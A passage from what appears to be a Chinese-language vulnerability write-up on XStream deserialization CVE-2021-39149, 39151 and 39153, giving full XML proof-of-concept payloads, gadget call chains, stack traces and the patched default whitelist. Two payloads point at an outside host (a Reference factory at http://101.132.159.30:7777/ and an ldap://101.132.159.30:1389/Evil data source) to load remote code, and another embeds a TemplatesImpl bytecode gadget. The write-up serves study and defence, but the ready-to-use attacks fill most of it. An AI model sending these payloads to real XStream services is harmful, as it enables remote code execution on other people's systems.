compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
siftDownComparable:703, PriorityQueue (java.util)
siftDown:689, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

特征:

和上一个前面都一样,Sink点换了

  • Source:PriorityQueue不带comparator。PQ也可以换成TreeMap。但PQ看起来比较整洁
  • toString链:
    • 先调用javax.naming.ldap.Rdn$RdnEntry#compareTo(XString)
    • 再调用com.sun.org.apache.xpath.internal.objects.XString#equals(),其中可调用任意类toString()方法
    • javax.swing.MultiUIDefaults#toString()
  • nextElement链:
    • 开始:com.sun.xml.internal.ws.api.message.Packet#toString()
    • 结尾:KeyStoreIterator#findNextCert(),之后即可链接2020系列jndi注入的AbstractLdapNamingEnumeration#nextElement部分
    • com.sun.jndi.toolkit.dir.ContextEnumerator#nextElement()
  • Sink:javax.naming.spi.ContinuationDirContext#getTargetContext -> NamingManager#getContext()
    • 直接调用NamingManager#getObjectInstance 来触发Jndi注入,getContext的第一个参数就是Reference类,如下

image-20210830145124378

image-20210824211634507

CVE-2021-39149

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<map>
<entry>
<dynamic-proxy>
<interface>map</interface>
<handler class="com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl">
<classToInvocationHandler class="linked-hash-map"/>
<defaultHandler class="sun.tracing.NullProvider">
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>diggid</__name>
<__bytecodes>
<byte-array>xxx</byte-array>
</__bytecodes>
<__transletIndex>0</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
<string>foo</string>
</entry>
</map>

分析

  • 链子
1
2
3
4
5
6
7
8
MapConverter#putCurrentEntryIntoMap()
HashMap#put
HashMap#hash
com.sun.proxy$Proxy0#hashCode()
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl#invoke()
sun.tracing.ProviderSkeleton#invoke()
sun.tracing.ProviderSkeleton#triggerProbe
sun.tracing.dtrace.DTraceProbe#uncheckedTrigger() -> TemplatesImpl.getOutputProperties
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
invoke:82, CompositeInvocationHandlerImpl (com.sun.corba.se.spi.orbutil.proxy)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)

特征:

这个链子大体和39144一样,主要是proxy的handler多封装了一层CompositeInvocationHandlerImpl。那么开头触发proxy的方法也要从PQ到compareTo换成map到hashCode。最后的Sink点前面我们知道可以执行任意方法,而这里执行的是TemplatesImpl#getOutputProperties

  • Source:map不带comparator
  • dynamic-proxy,触发proxy.hashCode
    • 代理接口:java.lang.Object或其他具有hashCode方法的接口
    • Handler: com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl。可以当做是ProviderSkeleton的一个封装
  • Sink:sun.tracing.dtrace.DTraceProbe#uncheckedTrigger() -> this.implementing_method.invoke(this.proxy, var1)
    • method可控:成员变量
    • var1可控:PQ的元素,从compareTo()方法传下来
    • this.proxy可控
    • 可调用任意类任意方法
  • 触发点:
    • TemplatesImpl#getOutputProperties

CVE-2021-39151

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<javax.swing.event.EventListenerList serialization="custom">
<javax.swing.event.EventListenerList>
<default/>
<string>java.lang.Class</string>
<javax.swing.undo.UndoManager>
<hasBeenDone>false</hasBeenDone>
<alive>false</alive>
<inProgress>false</inProgress>
<edits>
<com.sun.xml.internal.ws.api.message.Packet>
<message class="com.sun.xml.internal.ws.api.message.MessageWrapper">
<delegate class="com.sun.xml.internal.ws.message.saaj.SAAJMessage">
<parsedMessage>true</parsedMessage>
<accessedMessage>false</accessedMessage>
<sm class="com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl">
<attachments serialization="custom">
<unserializable-parents/>
<list>
<default>
<size>0</size>
</default>
<int>0</int>
</list>
</attachments>
<saved>false</saved>
<messageByteCount>0</messageByteCount>
<multiPart class="com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart">
<parsed>false</parsed>
<mm>
<it class="com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator">
<aliases class="com.sun.jndi.toolkit.dir.ContextEnumerator">
<children class="javax.naming.directory.BasicAttribute$ValuesEnumImpl">
<list class="com.sun.xml.internal.dtdparser.SimpleHashtable">
<current>
<hash>0</hash>
<key class="javax.naming.Binding">
<isRel>false</isRel>
<boundObj class="com.sun.jndi.ldap.LdapReferralContext">
<refCtx class="javax.naming.spi.ContinuationDirContext">
<cpe>
<resolvedObj class="javax.naming.Reference">
<className>any</className>
<addrs/>
<classFactory>Evil</classFactory>
<classFactoryLocation>http://101.132.159.30:7777/</classFactoryLocation>
</resolvedObj>
</cpe>
</refCtx>
<skipThisReferral>false</skipThisReferral>
<hopCount>0</hopCount>
</boundObj>
</key>
</current>
<currentBucket>0</currentBucket>
<count>0</count>
<threshold>0</threshold>
</list>
</children>
<currentReturned>true</currentReturned>
<currentChildEnum>
<currentReturned>false</currentReturned>
<currentChildExpanded>false</currentChildExpanded>
<rootProcessed>false</rootProcessed>
<scope>0</scope>
</currentChildEnum>
<currentChildExpanded>false</currentChildExpanded>
<rootProcessed>true</rootProcessed>
<scope>2</scope>
</aliases>
</it>
<parsed>false</parsed>
<currentIndex>0</currentIndex>
</mm>
<soapPart>
<parsed>false</parsed>
</soapPart>
</multiPart>
<attachmentsInitialized>false</attachmentsInitialized>
<isFastInfoset>false</isFastInfoset>
<acceptFastInfoset>false</acceptFastInfoset>
<optimizeAttachmentProcessing>false</optimizeAttachmentProcessing>
<lazyAttachments>false</lazyAttachments>
</sm>
<bodyParts/>
<soapVersion>SOAP_11</soapVersion>
</delegate>
</message>
<wasTransportSecure>false</wasTransportSecure>
<isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
<packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
<isFastInfosetDisabled>false</isFastInfosetDisabled>
</com.sun.xml.internal.ws.api.message.Packet>
</edits>
<indexOfNextAdd>0</indexOfNextAdd>
<limit>0</limit>
</javax.swing.undo.UndoManager>
<null/>
</javax.swing.event.EventListenerList>
</javax.swing.event.EventListenerList>

分析

  • 链子

(xxx对象当做字符串) -> StringBuilder.append -> String.valueOf -> xxx.toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
javax.swing.event.EventListenerList#readObject()
javax.swing.event.EventListenerList#add
javax.swing.undo.UndoManager#toString()
javax.swing.undo.CompoundEdit#toString
java.util.Vector#toString
java.util.AbstractCollection#toString -> StringBuilder.append
com.sun.xml.internal.ws.api.message.Packet#toString()
com.sun.xml.internal.ws.api.message.MessageWrapper#copy()
com.sun.xml.internal.ws.message.saaj.SAAJMessage#copy()
com.sun.xml.internal.ws.message.saaj.SAAJMessage#getAttachments
com.sun.xml.internal.ws.message.saaj.SAAJMessage$SAAJAttachmentSet#SAAJAttachmentSet
com.sun.xml.internal.messaging.saaj.soap.MessageImpl#getAttachments()
com.sun.xml.internal.messaging.saaj.soap.MessageImpl#initializeAllAttachments
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimeMultipart#getCount()
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parse
com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#getAttachments()
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#parseAll
com.sun.xml.internal.org.jvnet.mimepull.MIMEMessage#makeProgress
KeyStoreIterator#hasNext()
KeyStoreIterator#findNextCert
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextElement()
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextImpl
com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextAux
com.sun.jndi.ldap.LdapBindingEnumeration#createItem()
javax.naming.spi.DirectoryManager#getObjectInstance() -> Evil.getObjectInstance()
  • 调用栈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
getObjectInstance:189, DirectoryManager (javax.naming.spi)
createItem:81, LdapBindingEnumeration (com.sun.jndi.ldap)
createItem:40, LdapBindingEnumeration (com.sun.jndi.ldap)
nextAux:269, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
nextImpl:249, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
next:203, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
nextElement:106, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
nextElement:40, AbstractLdapNamingEnumeration (com.sun.jndi.ldap)
findNextCert:137, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations)
hasNext:104, KeyStoreResolver$KeyStoreIterator (com.sun.org.apache.xml.internal.security.keys.storage.implementations)
makeProgress:180, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
parseAll:167, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
getAttachments:92, MIMEMessage (com.sun.xml.internal.org.jvnet.mimepull)
parseAll:107, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
parse:118, MimePullMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
getCount:195, MimeMultipart (com.sun.xml.internal.messaging.saaj.packaging.mime.internet)
initializeAllAttachments:1379, MessageImpl (com.sun.xml.internal.messaging.saaj.soap)
getAttachments:819, MessageImpl (com.sun.xml.internal.messaging.saaj.soap)
<init>:650, SAAJMessage$SAAJAttachmentSet (com.sun.xml.internal.ws.message.saaj)
getAttachments:178, SAAJMessage (com.sun.xml.internal.ws.message.saaj)
copy:506, SAAJMessage (com.sun.xml.internal.ws.message.saaj)
copy:217, MessageWrapper (com.sun.xml.internal.ws.api.message)
toString:1093, Packet (com.sun.xml.internal.ws.api.message)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)

特征:

这里链子我觉得是整个2021CVE中最有意思的一条链子,基于2020-JNDI-LDAP,Source -> toString链不同,亮点在触发toString的部分,有点像PHP的__toString。当一个java类重写了toString方法,那么当类在被当做字符串时(最常见的就是字符串连接),会触发该类toString方法,具体的调用栈是xxx对象当做字符串 -> StringBuilder.append(xxx对象) -> String.valueOf(xxx对象) -> xxx.toString,所以只要连接上面的任意一环,都可以触发任意类的toString方法

  • Source:javax.swing.event.EventListenerList#readObject()

  • toString链:

    • javax.swing.event.EventListenerList#add。

    image-20210830151610404

    • javax.swing.undo.UndoManager#toString():由于EventListenerList要求其元素必须是EventListener及其子类,所以先封装一个UndoManager,然后接着调用父类的toString
    • javax.swing.undo.CompoundEdit#toString(),这里的可控变量edits是Vector类型的,实现了可控类型由具体到抽象的转化,这样我们可以选择的范围就更多了,一直到可控的类型可以设置为Object时,这条toString链就完毕了。
    • java.util.AbstractCollection#toString():其实就是Vector#toString,该方法取出集合的每个元素并调用上面说到的 StringBuilder.append(元素),这里的元素是任意可控类型的,所以toString链就完毕了。

    image-20210830153340124

    • com.sun.xml.internal.ws.api.message.Packet#toString()
  • nextElement链:

    • 开始:com.sun.xml.internal.ws.api.message.Packet#toString()
    • 结尾:KeyStoreIterator#findNextCert(),之后即可链接2020系列jndi注入的AbstractLdapNamingEnumeration#nextElement部分
  • Sink:com.sun.jndi.ldap.LdapBindingEnumeration#createItem()

    • 这个Sink点和LdapCtx#c_lookup很像
    • javax.naming.spi.DirectoryManager#getObjectInstance() -> Jndi注入

CVE-2021-39153

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="com.sun.java.util.jar.pack.PackageWriter$2">
<outer-class>
<verbose>0</verbose>
<effort>0</effort>
<optDumpBands>false</optDumpBands>
<optDebugBands>false</optDebugBands>
<optVaryCodings>false</optVaryCodings>
<optBigStrings>false</optBigStrings>
<isReader>false</isReader>
<bandHeaderBytePos>0</bandHeaderBytePos>
<bandHeaderBytePos0>0</bandHeaderBytePos0>
<archiveOptions>0</archiveOptions>
<archiveSize0>0</archiveSize0>
<archiveSize1>0</archiveSize1>
<archiveNextCount>0</archiveNextCount>
<attrClassFileVersionMask>0</attrClassFileVersionMask>
<attrIndexTable class="com.sun.javafx.fxml.BeanAdapter">
<bean class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>0</concurrency>
<escapeProcessing>false</escapeProcessing>
<fetchDir>0</fetchDir>
<fetchSize>0</fetchSize>
<isolation>0</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>false</readOnly>
<rowSetType>0</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://101.132.159.30:1389/Evil</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default/>
</com.sun.rowset.JdbcRowSetImpl>
</bean>
<localCache>
<methods>
<entry>
<string>getDatabaseMetaData</string>
<list>
<method>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</method>
</list>
</entry>
</methods>
</localCache>
</attrIndexTable>
<shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
</outer-class>
</comparator>
</default>
<int>3</int>
<string-array>
<string>diggid</string>
<string>databaseMetaData</string>
</string-array>
<string-array>
<string>diggid</string>
</string-array>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

分析

  • 链子
1
2
3
java.util.PriorityQueue#readObject() -> 设置comparator的
com.sun.java.util.jar.pack.PackageWriter$2#compare()
com.sun.javafx.fxml.BeanAdapter#get() -> MethodUtil.invoke(method, obj, null) 无参public
  • 调用栈
1
2
3
4
5
6
7
8
9
invoke:275, MethodUtil (sun.reflect.misc)
get:212, BeanAdapter (com.sun.javafx.fxml)
get:203, BeanAdapter (com.sun.javafx.fxml)
compare:1019, PackageWriter$2 (com.sun.java.util.jar.pack)
compare:1013, PackageWriter$2 (com.sun.java.util.jar.pack)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:795, PriorityQueue (java.util)

特征:

  • Source:PriorityQueue。设置了comparatorPackageWriter$2
  • PackageWriter$2#compare()
  • Sink:com.sun.javafx.fxml.BeanAdapter#get() -> MethodUtil.invoke(method, obj, null)
    • method可控,但没setAccessible
    • obj可控
    • 第三个参数是null,无参
    • 调用任意无参public

image-20210830153917960

  • 触发点:
    • JdbcRowSetImpl#getDatabaseMetaData -> Jndi注入
    • TemplatesImpl#getOutputProperties

修复

https://x-stream.github.io/changes.html

这次的修复相较于之前的修复就比较绝了,我们知道,导致漏洞一直存在的原因就是内置的安全框架关闭,仅仅初始化几个默认黑名单和白名单,就一直存在漏网之鱼。而这次是直接默认开启内置安全框架了,之前也说过,该安全框架大部分基于白名单机制,基本恶意类都无法通过。

image-20210830163933419

在调用new XStream初始化时会默认调用setupDefaultSecurity方法来初始化安全框架,几种类型的Permission

  • NoTypePermission:黑名单,不属于其他permission的话就放置在NoTypePermission中
  • NullPermission:白名单,null类型
  • PrimitiveTypePermission:白名单,基本类型
  • ArrayTypePermission:白名单:数组类型
  • InterfaceTypePermission:白名单,接口
  • TypeHierarchyPermission:白名单,特定类及其子类。目前支持Calendar Collection Map Entry Member Number Throwable TimeZone java.lang.Enum java.nio.file.Path
  • ExplicitTypePermission:白名单,具体的类的集合
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
protected void setupSecurity() {
if (this.securityMapper != null) {
this.addPermission(NoTypePermission.NONE);
this.addPermission(NullPermission.NULL);
this.addPermission(PrimitiveTypePermission.PRIMITIVES);
this.addPermission(ArrayTypePermission.ARRAYS);
this.addPermission(InterfaceTypePermission.INTERFACES);
this.allowTypeHierarchy(Calendar.class);
this.allowTypeHierarchy(Collection.class);
this.allowTypeHierarchy(Map.class);
this.allowTypeHierarchy(Entry.class);
this.allowTypeHierarchy(Member.class);
this.allowTypeHierarchy(Number.class);
this.allowTypeHierarchy(Throwable.class);
this.allowTypeHierarchy(TimeZone.class);
Class type = JVM.loadClassForName("java.lang.Enum");
if (type != null) {
this.allowTypeHierarchy(type);
}

type = JVM.loadClassForName("java.nio.file.Path");
if (type != null) {
this.allowTypeHierarchy(type);
}

Set types = new HashSet();
types.add(BitSet.class);
types.add(Charset.class);
types.add(Class.class);
types.add(Currency.class);
types.add(Date.class);
types.add(DecimalFormatSymbols.class);
types.add(File.class);
types.add(Locale.class);
types.add(Object.class);
types.add(Pattern.class);
types.add(StackTraceElement.class);
types.add(String.class);
types.add(StringBuffer.class);
types.add(JVM.loadClassForName("java.lang.StringBuilder"));
types.add(URL.class);
types.add(URI.class);
types.add(JVM.loadClassForName("java.util.UUID"));
if (JVM.isSQLAvailable()) {
types.add(JVM.loadClassForName("java.sql.Timestamp"));
types.add(JVM.loadClassForName("java.sql.Time"));
types.add(JVM.loadClassForName("java.sql.Date"));
}

if (JVM.isVersion(8)) {
this.allowTypeHierarchy(JVM.loadClassForName("java.time.Clock"));
types.add(JVM.loadClassForName("java.time.Duration"));
types.add(JVM.loadClassForName("java.time.Instant"));
types.add(JVM.loadClassForName("java.time.LocalDate"));
types.add(JVM.loadClassForName("java.time.LocalDateTime"));
types.add(JVM.loadClassForName("java.time.LocalTime"));
types.add(JVM.loadClassForName("java.time.MonthDay"));
types.add(JVM.loadClassForName("java.time.OffsetDateTime"));
types.add(JVM.loadClassForName("java.time.OffsetTime"));
types.add(JVM.loadClassForName("java.time.Period"));
types.add(JVM.loadClassForName("java.time.Ser"));
types.add(JVM.loadClassForName("java.time.Year"));
types.add(JVM.loadClassForName("java.time.YearMonth"));
types.add(JVM.loadClassForName("java.time.ZonedDateTime"));
this.allowTypeHierarchy(JVM.loadClassForName("java.time.ZoneId"));
types.add(JVM.loadClassForName("java.time.chrono.HijrahDate"));
types.add(JVM.loadClassForName("java.time.chrono.JapaneseDate"));
types.add(JVM.loadClassForName("java.time.chrono.JapaneseEra"));
types.add(JVM.loadClassForName("java.time.chrono.MinguoDate"));
types.add(JVM.loadClassForName("java.time.chrono.ThaiBuddhistDate"));
types.add(JVM.loadClassForName("java.time.chrono.Ser"));
this.allowTypeHierarchy(JVM.loadClassForName("java.time.chrono.Chronology"));
types.add(JVM.loadClassForName("java.time.temporal.ValueRange"));
types.add(JVM.loadClassForName("java.time.temporal.WeekFields"));
}

types.remove((Object)null);
Iterator iter = types.iterator();
Class[] classes = new Class[types.size()];

for(int i = 0; i < classes.length; ++i) {
classes[i] = (Class)iter.next();
}

this.allowTypes(classes);
}
}
CATALOG
  1. 1. 前言
  2. 2. SerializableConverter
  3. 3. CVE-2021-21344
    1. 3.1. 影响版本
    2. 3.2. POC
    3. 3.3. 分析
      1. 3.3.1. 链子
      2. 3.3.2. Source - PriorityQueue#readObject
      3. 3.3.3. Medium - BridgeImpl#marshal
      4. 3.3.4. Sink - Accessor$GetterSetterReflection#get
  4. 4. CVE-2021-21345
    1. 4.1. POC
    2. 4.2. 分析
  5. 5. CVE-2021-21347
    1. 5.1. POC
    2. 5.2. 分析
  6. 6. CVE-2021-21350
    1. 6.1. POC
    2. 6.2. 分析
  7. 7. CVE-2021-21351
    1. 7.1. POC
    2. 7.2. 分析
  8. 8. CVE-2021-39139
    1. 8.1. POC
    2. 8.2. 分析
  9. 9. CVE-2021-39141 & 39150
    1. 9.1. POC
    2. 9.2. 分析
  10. 10. CVE-2021-39144
    1. 10.1. POC
    2. 10.2. 分析
  11. 11. CVE-2021-39145 & 39147
    1. 11.1. POC
    2. 11.2. 分析
  12. 12. CVE-2021-39146 & 39154
    1. 12.1. POC
    2. 12.2. 分析
  13. 13. CVE-2021-39148
    1. 13.1. POC
    2. 13.2. 分析
  14. 14. CVE-2021-39149
    1. 14.1. POC
    2. 14.2. 分析
  15. 15. CVE-2021-39151
    1. 15.1. POC
    2. 15.2. 分析
  16. 16. CVE-2021-39153
    1. 16.1. POC
    2. 16.2. 分析
  17. 17. 修复